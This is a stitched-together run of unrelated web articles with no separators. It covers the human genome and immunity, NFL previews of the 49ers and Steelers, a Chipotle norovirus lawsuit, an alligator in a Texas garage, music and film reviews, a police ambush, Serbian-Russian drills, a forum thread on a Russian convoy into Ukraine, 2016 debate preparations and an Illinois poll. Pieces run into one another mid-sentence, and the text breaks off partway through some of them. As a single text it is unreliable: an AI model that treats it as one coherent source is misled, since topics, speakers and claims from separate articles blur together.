Dr Andrew George, reader in molecular immunology at the Hammersmith campus explained: Although humans are normally thought to be considerably more complex than organisms, such as plants, rice, yeast and earthworms, this is not reflected in their number of genes - humans have less than other supposedly less complex organisms.
The limited number of functional genes in the human genome may be a result of the presence of a more advanced immune system designed to protect us from disease, the doctor pointed out. It is important that the cells of the immune system do not recognise our own tissues or cells, as this would lead autoimmune disease, he stressed.
The limited size of the human genome could make further evolution for humans difficult. Fortunately, the human genome has been able to create genes which have multiple uses, thus making the best use of a limited number of genes, the doctor concluded.The 49ers almost certainly aren’t going to the playoffs, but are they going in the right direction?
That is the primary question entering the 2017 season, which comes on the heels of a three-year nightmare that included a 15-33 record, three fired head coaches and an axed general manager.
In other words, rookie head coach Kyle Shanahan and novice general manager John Lynch have some very small shoes to fill. They’ve earned high marks for the competence they’ve displayed while adding 50 players to their 90-man roster.
Now, on the horizon, with players reporting to training camp Thursday, comes the hard part: winning games — at least enough to suggest last season’s 2-14 embarrassment won’t be repeated any time soon.
The starting QB
Brian Hoyer’s nickname is evidently The Placeholder, given the widely held belief that he’s a one-year stopgap before someone with franchise-QB potential replaces him in 2018.
However, Hoyer’s sneaky-good recent numbers suggest the 31-year-old could surpass the modest expectations most have for his 2017 campaign. In the past two seasons, he has had 569 pass attempts, 25 touchdown passes, seven interceptions and a 93.7 passer rating. Perspective: Washington’s Kirk Cousins, his possible replacement next year, has 25 TDs, 11 INTs and a 98.0 rating in his past 569 attempts.
Hoyer, above, likely won’t be a big part of the 49ers’ plans in 2018, but a strong debut season at least could keep him in the conversation as a legitimate if-all-else-fails option.
Bowman’s status
Will NaVorro Bowman, an erstwhile first-team All-Pro, become a second-string linebacker?
That seemingly remote possibility exists after the 49ers invested heavily in two other inside linebackers — first-round pick Reuben Foster and free-agent Malcolm Smith ($11 million guaranteed in contract) — while denying a report that Bowman was placed on the trade block.
Both head coach Kyle Shanahan and general manager John Lynch have stated Bowman, who has had two major leg injuries since January 2014, will have to fight to keep his starting spot.
In May, Bowman, above, sounded unfazed by his new competition: “I won’t be on the sideline,” he said. “I’m going to tell you that now.”
The Baalke-era picks
After receiving a contract extension in December from the old regime, tight end Vance McDonald, above, could receive a pink slip from the new guard.
And he wouldn’t be alone: Several underwhelming draft picks from the Trent Baalke era have tenuous job security entering training camp.
The 49ers have retained 27 of the 31 Baalke picks that Lynch inherited, but defensive tackle Tank Carradine, linebacker Eli Harold and wide receiver Bruce Ellington are among the notable past selections on the roster bubble.
The poster boy for the group is McDonald, a 2013 second-round pick whom the 49ers attempted to trade during the draft.
Can Hyde stay No. 1?
After providing measured praise of Carlos Hyde, above, after their hirings, Shanahan and Lynch have provided the starter since 2015 with competition: They drafted Joe Williams, signed Tim Hightower, traded for Kapri Bibbs and brought in undrafted rookie Matt Breida.
The biggest threat to Hyde’s starting spot is Williams, a 5-foot-11, 205-pounder. Shanahan and running backs coach Bobby Turner lobbied hard for Williams, who was kicked off the team at Connecticut, briefly left the team at Utah, and eventually convinced Lynch to place him on the 49ers’ draft board and trade up for him in the fourth round.
Williams’ one-cut running style is viewed as a better fit in Shanahan’s outside-zone scheme. Hyde flourished at Ohio State and had a career-best 988 yards last season in a shotgun-based, zone-read scheme.
The No. 3 pick
For starters, defensive tackle Solomon Thomas, above, has to sign his contract: The No. 3 overall pick from Stanford is one of three first-rounders who remains unsigned.
Once that happens, Thomas can start playing catch-up. Thomas couldn’t participate in an offseason practice with veterans because he needed to wait for Stanford’s semester to end in mid-June. It’s a similar situation that unfolded last year with guard Joshua Garnett, Thomas’ college teammate, and it could have contributed to his uneven NFL debut.
Despite his missed time, Thomas, the 49ers’ highest selection since Alex Smith went No. 1 overall in 2005, figures to play plenty along a defensive line that will include two other recent first-round picks: Arik Armstead (2015) and DeForest Buckner (2016).
Eric Branch is an S.F. Chronicle staff writer. Email: ebranch@sfchronicle.com Twitter: @Eric_BranchA class action lawsuit was filed against Chipotle Tuesday, claiming a California store waited to inform health officials about an employee who worked while sick with Norovirus, exposing more than 200 people to it.
The August 2015 incident took place at a Simi Valley location.
"Chipotle's kitchen manager... had gastrointestinal symptoms while working at the restaurant," but he continued to work according to the court documents.
The lawsuit alleges the kitchen manager was diagnosed with Norovirus a few days later, and the restaurant closed it's doors in what is described as a, "Norwalk Protocol" in response to the diagnosis.
But according to the plaintiffs, Chipotle delayed contacting the Ventura County Public Health Division (VCEHD), choosing instead to "try and conceal all evidence of the outbreak by disposing of all food items, bleaching all cooking and food handling surfaces and replacing its sick employees with replacement employees from other restaurants." This prevented the food safety investigator from investigating the outbreak, according to the suit. The store closed on a Thursday, and the lawsuit claims the corporate office did not inform health officials until Saturday.
The lawsuit claims Chipotle covered up the evidence, "because Chipotle was simultaneously dealing with another public relations disaster regarding and wanted to protect its stock price from plummeting by putting corporate profits ahead of public health and safety."
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The restaurant reported to health officials 17 employees were sick, and were replaced with a new crew.
VCEHD found multiple violations of the restaurant even after it had allegedly been cleaned, including:
Food handlers without valid certification
Flying insects
Mildew inside the ice machine and accumulation of grease and food debris in the deep fryer
Unsanitary floors, walls and ceiling
Restroom "unclean or in disrepair"
Drain line from the customer self-service soda fountain directly connected to the sewer
The lawsuit quotes the VCEHD investigation further, stating during the week the employee reported being sick, 234 people reported gastrointestinal illness to the agency. After submitting stool samples to the investigation, 9 employees of the store tested positive for Norovirus, "as did several of the customers who became sick." Those customers included a high school football team, and others with an age range of 7 years to 67 years old.
Some of the complaints by customers include:
Cramping, diarrhea, extreme vomiting, fever, stomach pain, and "one of the longest and most painful nights of my life"
Severe abdominal pain, violent vomiting, diarrhea, headache, chills, and stomach cramps over a two day period - losing "13lbs. in 48 hours"
The class action lawsuit estimates a total of 3,000 entrees were sold during the two-day exposure period.
Plaintiffs are seeking damages for personal injuries and medical costs, restitution for the price paid, and relief to be determined by the court.
Chirs Arnold, communications director for Chipotle, declined comment to Sinclair, responding via email, "As a matter of policy, we don't discuss details surrounding pending legal actions."
RELATED LINK:HOUSTON - A man in Fulshear got quite the shock when he opened his garage door Thursday evening.
"I took two steps in and his head was literally right there," said Doug Dallmer, describing the nearly 9-foot long alligator that had crawled its way inside the garage.
"It was a little nerve-wracking," Dallmer said.
Dallmer called Fulshear police, which in turn called a wrangler to remove the alligator.
"It was a big one. We were surprised by how big it was," said Capt. Mike McCoy, Fulshear police.
Dallmer recorded video on his cellphone, as a group tried to lasso a rope around the alligator's head. During the recording, the alligator could be heard hissing. It also opened its mouth in an attempt to defend itself.
Alligator sightings are common in Fulshear, as are removals, officials said.
Still, this case was odd.
"It's unique for an alligator this size. This alligator is quite big," Capt. McCoy said. The official measurement came in at 8 feet, 9 inches long, weighing upwards of 300 pounds.
"It's quite a story. No doubt about it," Doug Dallmer said, breathing a sigh of relief that he and his family are safe.
The alligator will be taken to an alligator farm in El Campo, Texas, where it will live on a refuge, officials said.
"That was our goal here," said McCoy. "Not to harm the alligator."
2016 Click2Houston/KPRC2By Leo Babauta
Lately I’ve been practicing asking myself a question:
What if this moment were already perfect, everything you needed to be happy?
This question is transformative.
If I’m upset about something, I reconsider the moment and realize that I’m being small-minded about something, and that if I look at the entire moment, I can appreciate how much I have to be grateful for.
Being mad at someone, I can see that actually this person is pretty wonderful and I should be grateful for having them in my life.
Being upset at a situation, I can see how much I actually have, how lucky I am, how great it is to be alive.
And even in non-frustrating moments, I can see how much of a gift this present moment is, and pause to really appreciate everything about it. And then make the most of it.
Is it possible this moment is the perfect blend you need for happiness?None of the Band's previous work gave much of a clue about how they would sound when they released their first album in July 1968. As it was, Music from Big Pink came as a surprise. At first blush, the group seemed to affect the sound of a loose jam session, alternating emphasis on different instruments, while the lead and harmony vocals passed back and forth as if the singers were making up their blend on the spot. In retrospect, especially as the lyrics sank in, the arrangements seemed far more considered and crafted to support a group of songs that took family, faith, and rural life as their subjects and proceeded to imbue their values with uncertainty. Some songs took on the theme of declining institutions less clearly than others, but the points were made musically as much as lyrically. Tenor Richard Manuel's haunting, lonely voice gave the album much of its frightening aspect, while Rick Danko's and Levon Helm's rough-hewn styles reinforced the songs' rustic fervor. The dominant instrument was Garth Hudson's often icy and majestic organ, while Robbie Robertson's unusual guitar work further destabilized the sound. The result was an album that reflected the turmoil of the late '60s in a way that emphasized the tragedy inherent in the conflicts. Music from Big Pink came off as a shockingly divergent musical statement only a year after the ornate productions of Sgt. Pepper, and initially attracted attention because of the three songs Bob Dylan had either written or co-written. However, as soon as "The Weight" became a minor singles chart entry, the album and the group made their own impact, influencing a movement toward roots styles and country elements in rock. Over time, Music from Big Pink came to be regarded as a watershed work in the history of rock, one that introduced new tones and approaches to the constantly evolving genre.Photo by Invisible Hour
Death is inescapable. It's the answer to every final question that lingers on your lips, as regular as clockwork and unstoppable as the tide. We fear its cold embrace and the unanswered questions that surround it, but it fascinates us, too; it's life's greatest mystery, after all, and the exploration and veneration of its certainty has inspired countless cults, collectors, and, of course, metal bands.
Seattle bruisers Black Breath are the latest in a long, morbid line of heshers to explore the subject, tackling death head-on with their upcoming album for Southern Lord, Slaves Beyond Death. While none of us are truly beyond death's grip, Black Breath's lethal cocktail of ripping thrash, fetid death metal, and bloody hardcore would make an excellent soundtrack for whatever fucked-up activity eventually lands you in the morgue—and whatever hellish afterlife you may skid down into next.
We're now streaming an exclusive premiere of the album's vicious title track, "Slaves Beyond Death," below. Enjoy, fleshbags!
Black Breath will be ringing funeral bells up and down the Left Coast alongside Goatsnake, Battalion of Saints, and Obliterations next month:
9/16/2015 Mystery Box – Los Angeles, CA [info]
9/17/2015 Alexs’ Bar – Long Beach, CA [info]
9/18/2015 The Garage – Ventura, CA [*no Goatsnake] [info]
9/19/2015 Brick By Brick – San Diego, CA [info]
9/20/2015 Club Red – Mesa, AZ [info]
9/22/2015 Elbo Room – San Francisco, CA [info]
9/23/2015 Boardwalk – Sacramento, CA [info]
9/24/2015 Catalyst Atrium – Santa Cruz, CA [info]
9/26/2015 Highline – Seattle, WA **BLACK BREATH record release show [info]
9/27/2015 Hawthorne Theater – Portland, OR [info]Earlier today, three police officers were gunned down by a trio of suspects in Baton Rouge, Louisiana.
One suspect was killed by the authorities and the two others are still at large.
And on the same day, a police officer was ambushed in his squad car in Milwaukee, Wisconsin.
In a news conference, Assistant Police Chief William Jessup explained what happened:
Officers responded to that location shortly before 2:00 AM for a call of a domestic violence incident. As officers were about to leave the scene, discovering that the suspect was not on the scene, an officer seated in his squad car was attacked viciously by a suspect who fired multiple rounds into the squad car striking the officer multiple times.
Fortunately, he survived the attack. The officer, whose name hasn’t been released to the public, is being treated for multiple gunshot wounds at the hospital.
As for the suspect, he was found dead nearby. The reported cause of death: Suicide.
In light of the ambush attack on the officer, the Milwaukee Police Association revealed some details about him via Facebook:
Officer injured/ambushed We [MPD/MPA] are truly blessed today. The officer that was seriously injured late… Posted by Milwaukee Police Association on Sunday, July 17, 2016
Their message reads, in part:
Officer injured/ambushed We [MPD/MPA] are truly blessed today. The officer that was seriously injured late night/early this morning, is a good cop that has pledged himself to service of community; in-fact, was engaged in sworn duty at the time he was brutally attacked. This officer, like many others, risk their life each and every day so that we may have a safer city… and certainly so we may sleep through the night uninterrupted. Tonight that wasn’t the case. This COP is also a husband, father and a child of loving parents; they did not sleep through the night, rather they were awoken to the unknown. I saw the pain and concern in the parents faces, as well as that of the officer’s bride. I also felt the absolute terror that obviously was haunting Mrs. COP. This incident will soon be forgotten by the community, however for the family of the officer, and he himself, this night will replay… replay. I truly believe, collectively from our officers – they give more than they will ever receive.
The officer’s injuries are not life-threatening but they are serious. He has served as a policeman for thirteen years.“War! War! War!” So King Leonidas’ 300 Spartans chanted as the battle cry of men that were sculpted to kill. They were built to brutalize. They were bred to maim. As anyone who saw the original 300 knows, they fulfilled their purpose. In one spectacular single-take sequence, time is warped to the rhythm of curved steel blades separating flesh from flesh. Blood smears the screen in explosions of comic book violence to punctuate the mayhem—the radical idea of slowing down time to intensify the buildup to a kill and to speed it up as the blade meets its mark. It’s crude but cathartic, and it follows the tradition of using slow motion in action movies that was partially begun by Akira Kurosawa in Seven Samurai. Such devices were used with a wink and a smile, and self-seriousness wasn’t ever one of 300‘s problems. Writer and director Zack Snyder knew better (although he didn’t on last year’s Man of Steel), and he understood Frank Miller’s graphic novel. Testosterone and manliness became satire, with the camera worshiping bulging pectorals, six pack abs, bouncing breasts, and, of course, buckets blood. It was a violent homo-erotic joke that, at the time, entertained. It began with a chest pumping montage: the grueling and barbarous training of each and every Spartan destined for battle. Like most I suspect, I recognized I couldn’t ever pass a test such as this on my own, and that kindled a feeling of deserved admiration for the towering heroes that are our good guys. This was 2006. Seven years later, I unsuspectingly found myself in an environment that rivaled that of Leonidas’ 300 hardened Spartans. It was an exercise equally as ruthless, and to some, even more sadistic, that demanded tremendous physical and mental discipline. I had to stay awake during 300: Rise of an Empire.
This is as clear an example of studio greed as any, where they manufacture sequels, prequels, and...whatever this is... (more on that in a minute) as though they’re merely products on an assembly line. Artistic integrity is the last consideration. The movie business is still a business, one of the most lucrative in the world, but there still remains a thin veneer of romanticism for the movies. Films like 300: Rise of an Empire consume that feeling with the artificial corporatism of Hollywood. The irony is that the script, written once again by Snyder and Kurt Johnstad, is actually pretty good. The story came from Frank Miller, who’s set to make and release the graphic novel version of this film. Instead of Sparta, the prime location in Rise of an Empire is Athens. And, instead of Gerard Butler’s charismatic turn as King Leonidas, we have Sullivan Stapleton (who?) as Athenian general Themistocles. It’s not that he’s less buff or less charismatic, it’s that he’s just less. As a nearly naked speech-giving general that slashes and cuts and pierces and yells, he has to “bring it.” He doesn’t. In Rise of an Empire’s opening montage that seemed to span longer the film’s running time, we find out Themistocles shot the arrow that killed the Persian commander. His son? The future god-king, and we find out how he went from mere man to self-celebrated divinity. Xerxes sets out to exact revenge, and it’s up to Themistocles to rally the Greek nations together and defeat him.
There’s slightly more story than that, giving it a narrative edge to Snyder’s 300. It doesn’t count for much, but in more capable hands it could have. Rise of an Empire aspires to deliver a true sense of scale on multiple levels: political, city, state, and in battle. None are well developed, and dependence between them is never believably developed. Oh, there’s plenty of dialogue repeatedly exclaiming town A has to be with town G so that towns B and C help, but problems X, Y, and Z are in the way. This is one of the films gravest mistakes-- the story exists as a separate entity to the action. By all accounts this should be a non-issue, since the action/story ratio strongly favors one over the other. But the action is static, lifeless, and altogether uninspired. Although the action scenes in 300 became instantly iconic, their reproductions have almost universally been loathed. This is sometimes referred to by critics as “The Matrix Problem,” where the action within The Matrix was justified by its exaggerated setting, but it wouldn’t make sense in the real world. In other words, we had an excuse for kung-fu ridiculousness that let the crazy become thrilling. Rise of an Empire obviously takes place in the same setting as 2006’s 300, but it never feels like the same world. This is because Rise of an Empire embellishes every quality of 300 to the point of incohesion. It’s too comic and too somber, too risible and too dour. As a consequence, the action scenes are an empty rehash of what was mastered 7 years prior.RUMA, Serbia -- The first-ever joint Serbian-Russian military exercises have been held at the Nikinci military testing ground outside Belgrade. Although local media were granted access to the event as it got started, Serbian journalists scrambled for information in the run-up to the exercise.
As late as November 13, the day before the one-day exercise, the Serbian military was refusing to comment on it at all.
The Belgrade daily "Danas" reported that "certain structures" within the Serbian military were keeping the drill quiet because "it could cause negative reactions from Western countries, considering the Ukrainian crisis and the current conflict between the EU and Russia."
Ljubodrag Stojadinovic, a former Yugoslav army officer and a military analyst in Belgrade, says the exercise represents a fluctuation in Belgrade's policy of wending between traditional ally Russia and the West. "An eastern wind is blowing around here at the moment," he tells RFE/RL's Balkan Service. "And our leadership, like a windmill, is turning us toward the east. They call it 'pragmatic politics.'"
A Serbian military source told RFE/RL that the exercise, called SREM-2014, stemmed from a 2010 military-cooperation agreement between Serbia and Russia and had nothing to do with the situation in Ukraine.
Serbian Defense Minister Bratislav Gasic also played the event down, saying "we have thousands of exercises all the time" and "there is nothing special here that could be considered a sensation."
In contrast, Russian state media provided lavish and dramatic coverage in the days before the exercise.
On November 10, the website of RT (formerly Russia Today) posted a story on the drill, complete with a video showing Russian armored personnel carriers being airdropped into the testing ground from an Ilyushin Il-76 cargo plane. The video not only was shot from inside the Il-76 and from a camera on the ground, but also from a camera mounted on one of the armored vehicles "that captured its magnificent landing," according to the RT story.
Information about the exercise, which was described as "antiterrorism training," initially came only from Russia's state-run TASS news agency and other Russian media. They reported that paratroops and combat equipment from Russia's Tula region would participate in the exercise.
'A Message Of Power'
Serbia is a traditional ally of Russia's but has been granted European Union candidate status and is actively seeking EU membership. Serbia has also applied for NATO's Partnership for Peace program.
Under the 2010 agreement, Russia and Serbia opened a joint center in the southern town of Nis, about 100 kilometers from the border with Kosovo, with the stated purpose of responding to natural disasters.
Stevan Mirkovic, a retired general of the Yugoslav National Army and a former commander of the 63rd Paratroop Brigade in Nis, says the exercise is part of a trend toward closer relations between the Serbian military and Moscow. "Since the creation of the emergency center in Nis and after the recent military parade in Belgrade [attended by Russian President Vladimir Putin], a lot of things have changed when it comes to the military," he says. "The army is not exclusively facing West right now."
Belgrade military analyst Stojadinovic adds that with the exercises Moscow is trying to let the West know it is a force to be reckoned with. "Moscow's political message is that it has enough power to be present wherever Russia's interests are and that it has enough friends to cooperate with," he says. "Such exercises, like any kind of military move, contain a message of power."
Robert Coalson contributed to this report from PragueSkip to comments.
Column of Russian military equipment breaks through to Luhansk - NSDC
Posted on by WhiskeyX
KYIV, August 15 /Ukrinform/. A column of Russian military equipment, on Friday, crossed the border of Ukraine in the area of Izvaryne checkpoint, trying to break through to help militants in besieged Luhansk.
Spokesman of the NSDC Information-Analytical Center Andriy Lysenko said, LIGABusinessInform reports.
When asked why the column was not destroyed from the air, Lysenko said that this border area is not controlled by the ATO.
"But I assure you that what has got here, will not be released," he said.
The number of technique and composition of the column is specified, according to the NSDC.
To remind, on Friday night, journalist of the British newspaper Guardian reported that in his eyes the column of 20 Russian armored vehicles and army trucks crossed the Russian-Ukrainian border in the region of Donetsk, Rostov region. According to him, Western journalists for the first time saw the movement of Russian military equipment to Ukraine.
Later, the NSDC confirmed this information.
TOPICS:
Foreign Affairs
News/Current Events
Russia
KEYWORDS:
invasion
luhansk
russia
ukraine
ukrainecrisis
To: WhiskeyX
“breaks through” what pray tell?
by 2 posted onby yldstrk ( My heroes have always been cowboys)
To: yldstrk
East of Brussels @EastOfBrussels #Russia invasion of #Ukraine: #Putin's tanks en route to #Donetsk - #moscow #kremlin #sanctions #crimea #gazprom #war pic.twitter.com/8BIsqO1EHT https://twitter.com/EastOfBrussels/status/500207078083158016
To: WhiskeyX
According to him, Western journalists for the first time saw the movement of Russian military equipment to Ukraine. Ukraine is full of Russian military equipment, what other equipment would they have, Duh.
by 4 posted onby BerryDingle (I know how to deal with communists, I still wear their scars on my back from Hollywood-Ronald Reagan)
To: WhiskeyX
Vostok battalion in Ukrainian Donetsk: Bojan PancevskiVerified account @bopanc Streets of #Donetsk today: artillery battle looming #Ukraine pic.twitter.com/MJe9cSuSlB https://twitter.com/bopanc/status/500200205518508034
To: WhiskeyX
Roland Oliphant @RolandOliphant · 15m Massive column of APCs flying Russian flags and some with мc - peace keeper - driving past aid convoy and barrelling it toward Donetsk https://twitter.com/search?q=Donetsk&src=typd
To: WhiskeyX
See the photographs: ConflictReporter @MiddleEast_BRK It is simply unthinkable how much fire power Russian invaders and army used vs. Ukr. forces in southern #Donetsk... pic.twitter.com/owEdEMYOZ1 https://twitter.com/MiddleEast_BRK/status/500241358771462144/photo/1
To: WhiskeyX
Wait, is it in Luhansk or on the way to Luhansk? It was only yesterday for the first time that the Ukraniam army announced the tenative capture of Novosvitlivka, which would give them a sort-of blockade on the town (before that, hardware could just drive straight in on the M-04). And who knows how well they’ll even be able to hold the town if a strong convoy approaches it, the southern ATO forces against Luhansk aren’t very strong (it’d help if the northern forces could manage to circle down on the east side but that’s not helped by the fact that Russian forces from the Stakhanov area have been hitting their rear). And yes, it is really disturbing how much hardware Russia has thrown into this, and continues to throw in at an ever-increasing pace.
To: OldGuard1
Shaun Walker @shaunwalker7 · Aug 14 We have arrived at the turnoff towards Krasnodon and Luhansk, Ukraine... The front of the Russian aid convoy is turning down it. Wow...
To: OldGuard1
3 minutes ago
Poroshenko: part of Russian armored vehicles were destroyed [Don’t know if they are referring to Luhansk or Ukrainian Donetsk]
To: WhiskeyX
Fox business is reporting that Ukraine has destroyed part of the Russian convoy “sitting on the border.” I wonder if they are confusing this convoy with the supposed aide convoy of big white trucks?
To: WhiskeyX
They better call off their dogs soon, as the Russian “rebels |
'I think this thing will be close right up until the end. We have to make our case every day. The debates are a great way to do that.'
The Clinton campaign, which hopes its candidate becomes the first female president in US history, expressed concern Sunday over a double standard, with a number of experts saying the bar has been raised higher for Clinton.
NBC News' Lester Holt will moderate Monday's first presidential debate. His stand-in was pictured next to Trump's and Clinton's replacements Sunday
Clinton campaign manager Robbie Mook said: 'It's unfair to ask that Hillary Clinton both play traffic cop with Trump, make sure that his lies are corrected, and also to present her vision for what she wants to do for the American people.'
The Clinton team is concerned that the moderator, Lester Holt of NBC, will toss simpler'softball' questions in Trump's direction while pressing Clinton with a much more challenging interrogation.
Mook said: 'All that we're asking is that if Donald Trump lies, that it's pointed out.'
But Trump has already stated that he does not believe Holt's purpose as moderator is to police each candidate.
Debate mind games were also on display as Trump threatened to invite Gennifer Flowers, a former lover of Bill Clinton, to watch the high-stakes battle from a front-row seat.
Trump campaign manager Kellyanne Conway said it was meant to show the New York billionaire had ways 'to get inside the head of Hillary Clinton' but she told CNN there were no plans to actually invite Flowers.
Nine per cent of voters by some estimates still don't know who to cast their ballot for, after a long campaign in which bitter attacks have often replaced talk of substance.
And this year has been like none in the past, with Trump using social media around the clock in combative fashion, while often making mistakes, misstatements and blunders that do not seem to trouble his base.
Ahead of the debates Clinton has been cloistered with aides and her papers at home in Chappaqua, north of New York, even practicing with relatives playing Trump.
She has been focusing on his psychological profile, with a goal to get Trump to crack, to show that he can't control himself and lacks the even-handed temperament a president needs.
ABC, CBS, C-Span, NBC, Fox, MSNBC, CNN, Fox News and Univision will broadcast the debate. Pictured, a technician makes adjustments on Sunday
Trumps stand-in, a male student from Hostra University, where the debate will take place, sported a ponytail and a dark suit with a red tie - one of Trump's signature outfits
If he reacts by attacking, Trump risks losing votes from women; he already has a harder time with women voters, and they make up 53 percent of those who turn out.
Trump in turn says his debate practice is 'going very well', trying to at least appear relaxed. Amid preparations, he has continued with campaign rallies, including Saturday night in Roanoke, Virginia.
On Sunday both candidates met with Israeli Prime Minister Benjamin Netanyahu. Trump later issued a statement pledging to recognize Jerusalem as Israel's 'undivided capital' if elected.
Clinton, making her second presidential bid, is an old hand at debates and considered solid - so in some ways, she may have more to lose.
Some 88 per cent of Americans say they believe she is smart, but in the latest poll 66 per cent said they do not find her honest.
In addition, Clinton's image has been sullied by Trump attacks over her email scandal, the Clinton Foundation's alleged pay-to-play donations, and her ties to Wall Street.
The debate's topics have been announced as 'America's direction', 'achieving prosperity' and'securing America'. Pictured, workers install the set on Saturday
Some 57 per cent have a negative opinion of Clinton who they see as cerebral, distant or cold. Trump's negative numbers are virtually identical.
The DailyMail.com has reached out to Clinton's campaign to clarify whether her podium will be different from Trump's.
'Her team wanted the podium modified or a box added so she won't look short next to Trump,' Cosby told the New York Daily News.
'One is clearly larger than the other.'
Cosby added on Twitter that she had been told that plywood had been added.
ABC, CBS, C-Span, NBC, Fox, MSNBC, CNN, Fox News and Univision will broadcast the debate. There will also be several live-streams online, including on Facebook, Twitter and YouTube.
Both nominees met Israeli Prime Minister Benjamin Netanyahu in New York City Sunday as the debate preparations wrapped up.
And two new polls raised the stakes for the first presidential debate — with Clinton and Trump locked in a virtual tie and one-third of likely voters saying the face-off could determine their choice.
Students from Hofstra University were pictured on the debate stage, with a male student behind Trump's podium and a female student's behind Clinton's podium.
Trump's stand-in, a young man with a ponytail, wore a black suit with a red tie - an outfit that Trump has worn many times on the campaign trail.
The student was pictured raising his right index finger while talking on Sunday, as if to mimic one of Trump's signature moves.
Clinton's stand-in wore a black pantsuit and appeared to rest her hands on the podium while talking.
Trump and Clinton both devoted part of the last day before the debate to meeting Netanyahu, who was in New York City for the United Nations' General Assembly.
Trump and Clinton both devoted part of the last day before the debate to meeting Israeli Prime Minister Benjamin Netanyahu. Trump is pictured shaking his hand Sunday at Trump Tower
Netanyahu met the GOP nominee at Trump Tower in Manhattan on Sunday morning and the two spoke for nearly 90 minutes about military assistance, security and regional stability, according to Israeli and campaign officials.
'Mr Trump acknowledged that Jerusalem has been the eternal capital of the Jewish People for over 3,000 years, and that the United States, under a Trump administration, will finally accept the long-standing Congressional mandate to recognize Jerusalem as the undivided capital of the State of Israel,' his campaign said.
Clinton met Netanyahu in the evening at the W Hotel in Union Square according to ABC News. They spoke for about 50 minutes.
She expressed her commitment to the US-Israel alliance and pledged to work with Israel to enforce and implement the nuclear deal with Iran and to fight terrorism.
Clinton and Netanyahu also discussed the Israeli-Palestinian conflict and she expressed her support for a two-state solution.
Trump established himself as an unpredictable debater during the primary season, calling out other candidates when they rolled out prepared answers and making abundant use of nicknames he had made up for his adversaries.The 2016 season is unfortunately over, and the Pittsburgh Steelers are now embarking upon their latest offseason journey, heading back to the UPMC Rooney Sports Complex, formerly known and still referred to as the ‘South Side’ facility of Heinz Field. While the postseason is now behind us, there is plenty left to discuss.
And there are plenty of questions left unanswered as well. The offseason is just really the beginning phase of the answer-seeking process, which is lasts all the way through the Super Bowl for teams fortunate enough to reach that far.
You can rest assured that we have the questions, and we will be monitoring the developments in the offseason as they develop, and beyond, looking for the answers as we look to evaluate the makeup of the Steelers as they try to navigate their way back to the Super Bowl, after reaching the AFC Championship game last season for the first time in more than half a decade.
Question: Will the Steelers seriously explore some of the top options on the free agent cornerback market?
I don’t know about you but I’m not the sort of person who spends a great deal of time watching NFL Network. Most of it is not aimed to tell you anything new, and the analysis of many of the former players that they employ leaves much to be desired.
I did happen to have it on in the background for a brief period of time yesterday, however, and caught a report by Aditi Kinkhabwala, who spends a good deal of time embedded in the Steelers’ camp. I understand that opinions on her may have soured lately in light of her inaccurately saying that Antonio Brown was ‘pouting’ during a touchdown in the playoffs, but be that as it may, I think she does a good job.
She reported yesterday that the Steelers were working on completing a long-term contract with Le’Veon Bell, who was given the franchise tag. In addition to that, she said during her report—though seemingly not elsewhere—that she was told from within the organization that they are looking to be players in the free agency market.
I am working from memory here, but from recollection, she cited the fact that the team only ran a couple of dozens snaps in man coverage with a single-high safety and how that related to their talent available at the position as one of the reasons that they are looking to bring in a higher-end player.
She also said that she was not given names, but believed that players such as Dre Kirkpatrick and Stephon Gilmore could potentially be targets for them as in fitting the mould of what they like out of the position.
Just how much stock to put into this report is certainly debatable, but the good news is that we won’t have to wait very long, as free agency is not so far away, and the ‘legal tampering’ window is even closer upon us. Kinkhabwala also tied Bell’s deal in lowering his cap hit from the franchise tag value into their ability to pursue a top cornerback. Perhaps they saw the impact of Janoris Jenkins on the Giants last year.PPP’s newest Illinois poll finds that Mark Kirk’s popularity is plummeting, and he trails Tammy Duckworth in a hypothetical match up.
Kirk was already struggling when we last polled the state in February- only 28% of voters approved of the job he was doing to 32% who disapproved. After getting involved in a series of controversies over the last five months his numbers have turned even more in the wrong direction- now only 25% approve of him with his disapproval spiking up to 42%.
Duckworth leads Kirk 42/36 in a head to head. Although a plurality of voters in the state (42%) have no opinion about her, she’s popular among the people who are familiar with her, with 34% rating her favorably to only 23% with an unfavorable view.
Duckworth is also the overwhelming favorite in the Democratic primary, leading Andrea Zopp 59-10. That includes a 57-13 advantage for Duckworth with African American primary voters. There’s a big electability gap for the Democratic hopefuls when it comes to a match up with Kirk- Zopp would do 15 points worse than Duckworth at this point, trailing Kirk 38/29.
One thing very much to Democrats’ advantage in the Senate race is that Hillary Clinton has a substantial lead over the Republican field in the state. She is up by anywhere from 9 to 18 points against the GOP hopefuls. The Republicans who come closest to Clinton are Jeb Bush who trails by 9 at 48/39, Rand Paul who trails by 10 at 47/37, and Scott Walker who trails by 11 at 50/39. The GOPers who do the worst against Clinton are Donald Trump who’s down 18 at 51/33, and Ted Cruz and Mike Huckabee who each trail by identical 16 point margins at 51/35. In between are Ben Carson and Marco Rubio who each trail by 12 points at 49/37, Chris Christie who’s down 14 at 49/35, and Carly Fiorina who trails by 15 at 49/34.
We also tested Bernie Sanders against the leading Republicans in the state and he leads all of them as well- his advantages are 4 points over Walker at 40/36, 5 points over Bush at 42/37, 6 points over Rubio at 40/34, and 16 points over Trump at 48/32. On average Clinton leads that quartet of Republicans by 13 points compared to Sanders’ average of 8 points for a 5 point disparity in their electability.
Scott Walker leads the Republican field in the state with 23% to 18% for Donald Trump, 11% for Jeb Bush, 8% for Chris Christie, 7% for Ben Carson, 6% for Marco Rubio, 5% each for Mike Huckabee and Rand Paul, 4% for Ted Cruz, 3% for Carly Fiorina, 2% each for Bobby Jindal and Rick Santorum, 1% each for Lindsey Graham, John Kasich, and Rick Perry, and the dreaded less than 1% rounding to 0 for Jim Gilmore and George Pataki.
Walker is very popular in his neighboring state, with a 64/15 favorability rating. To put those numbers into perspective, no other Republican hopeful does better than a 51% favorability in the state. Walker leads both with voters describing themselves as ‘very conservative’ and ‘somewhat conservative,’ while Trump is the choice of moderate Republicans.
On the Democratic side Clinton is dominant. She gets 60% to 23% for Sanders, with Martin O’Malley at 4%, Jim Webb at 3%, and Lincoln Chafee at 1% rounding out the field. Clinton gets at least 54% within every group we track by ideology, gender, race, and age with her support peaking among African Americans with whom she gets 76% and Hispanics with whom she gets 72%.
Other notes from Illinois:
-Bruce Rauner’s become unpopular with only 37% of voters approving of the job he’s doing now to 43% who disapprove.
